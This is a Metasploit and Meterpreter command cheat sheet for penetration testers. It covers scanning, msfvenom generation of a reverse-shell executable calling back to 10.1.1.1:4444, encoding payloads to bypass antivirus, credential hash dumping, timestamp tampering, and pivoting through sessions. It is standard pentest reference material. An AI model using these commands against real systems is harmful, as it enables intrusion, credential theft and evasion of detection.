The Metasploit Project is a computer security project that provides information on vulnerabilities, helping in the development of penetration tests and IDS signatures.

Metasploit is a popular tool used by pentest experts.

Metasploit :

Search for module:

msf > search [regex]

Specify and exploit to use:

msf > use exploit/[ExploitPath]

Specify a Payload to use:

msf > set PAYLOAD [PayloadPath]

Show options for the current modules:

msf > show options

Set options:

msf > set [Option] [Value]

Start exploit:

msf > exploit 

Useful Auxiliary Modules

Port Scanner:

msf > use auxiliary/scanner/portscan/tcp
msf > set RHOSTS 10.10.10.0/24
msf > run

DNS Enumeration:

msf > use auxiliary/gather/dns_enum
msf > set DOMAIN target.tgt
msf > run

FTP Server:

msf > use auxiliary/server/ftp
msf > set FTPROOT /tmp/ftproot
msf > run

Proxy Server:

msf > use auxiliary/server/socks4
msf > run 

msfvenom :
The msfvenom tool can be used to generate Metasploit payloads (such as Meterpreter) as standalone files and optionally encode them. This tool replaces the former msfpayload and msfencode tools. Run with ‘'-l payloads’ to get a list of payloads.

$ msfvenom –p [PayloadPath]
–f [FormatType]
LHOST=[LocalHost (if reverse conn.)]
LPORT=[LocalPort]

Example :
Reverse Meterpreter payload as an executable and redirected into a file:

$ msfvenom -p windows/meterpreter/
reverse_tcp -f exe LHOST=10.1.1.1
LPORT=4444 > met.exe

Format Options (specified with –f) --help-formats – List available output formats
exe – Executable pl – Perl rb – Ruby raw – Raw shellcode c – C code
Encoding Payloads with msfvenom
The msfvenom tool can be used to apply a level of encoding for anti-virus bypass. Run with '-l encoders' to get a list of encoders.

$ msfvenom -p [Payload] -e [Encoder] -f
[FormatType] -i [EncodeInterations]
LHOST=[LocalHost (if reverse conn.)]
LPORT=[LocalPort]

Example
Encode a payload from msfpayload 5 times using shikata-ga-nai encoder and output as executable:

$ msfvenom -p windows/meterpreter/
reverse_tcp -i 5 -e x86/shikata_ga_nai -f
exe LHOST=10.1.1.1 LPORT=4444 > mal.exe

Metasploit Meterpreter

Base Commands:
? / help: Display a summary of commands exit / quit: Exit the Meterpreter session
sysinfo: Show the system name and OS type
shutdown / reboot: Self-explanatory
File System Commands:
cd: Change directory
lcd: Change directory on local (attacker's) machine
pwd / getwd: Display current working directory
ls: Show the contents of the directory
cat: Display the contents of a file on screen
download / upload: Move files to/from the target machine
mkdir / rmdir: Make / remove directory
edit: Open a file in the default editor (typically vi)
Process Commands:
getpid: Display the process ID that Meterpreter is running inside.
getuid: Display the user ID that Meterpreter is running with.
ps: Display process list.
kill: Terminate a process given its process ID.
execute: Run a given program with the privileges of the process the Meterpreter is loaded in.
migrate: Jump to a given destination process ID

• Target process must have same or lesser privileges
  
• Target process may be a more stable process
  
• When inside a process, can access any files that process has a lock on.
  

Network Commands:
ipconfig: Show network interface information
portfwd: Forward packets through TCP session
route: Manage/view the system's routing table

Misc Commands:
idletime: Display the duration that the GUI of thetarget machine has been idle.
uictl [enable/disable] [keyboard/mouse]: Enable/disable either the mouse or keyboard of the target machine.
screenshot: Save as an image a screenshot of the target machine.

Additional Modules:
use [module]: Load the specified module
Example:
use priv: Load the priv module
hashdump: Dump the hashes from the box
timestomp:Alter NTFS file timestamps

Managing Sessions

Multiple Exploitation:
Run the exploit expecting a single session that is immediately backgrounded:

msf > exploit -z

Run the exploit in the background expecting one or more sessions that are immediately backgrounded:

msf > exploit –j

List all current jobs (usually exploit listeners):

msf > jobs –l

Kill a job:

msf > jobs –k [JobID]

Multiple Sessions:

List all backgrounded sessions:

msf > sessions -l

Interact with a backgrounded session:

msf > session -i [SessionID]

Background the current interactive session:

meterpreter > <Ctrl+Z>
or
meterpreter > background

Routing Through Sessions:
All modules (exploits/post/aux) against the target subnet mask will be pivoted through this session.

msf > route add [Subnet to Route To]
[Subnet Netmask] [SessionID]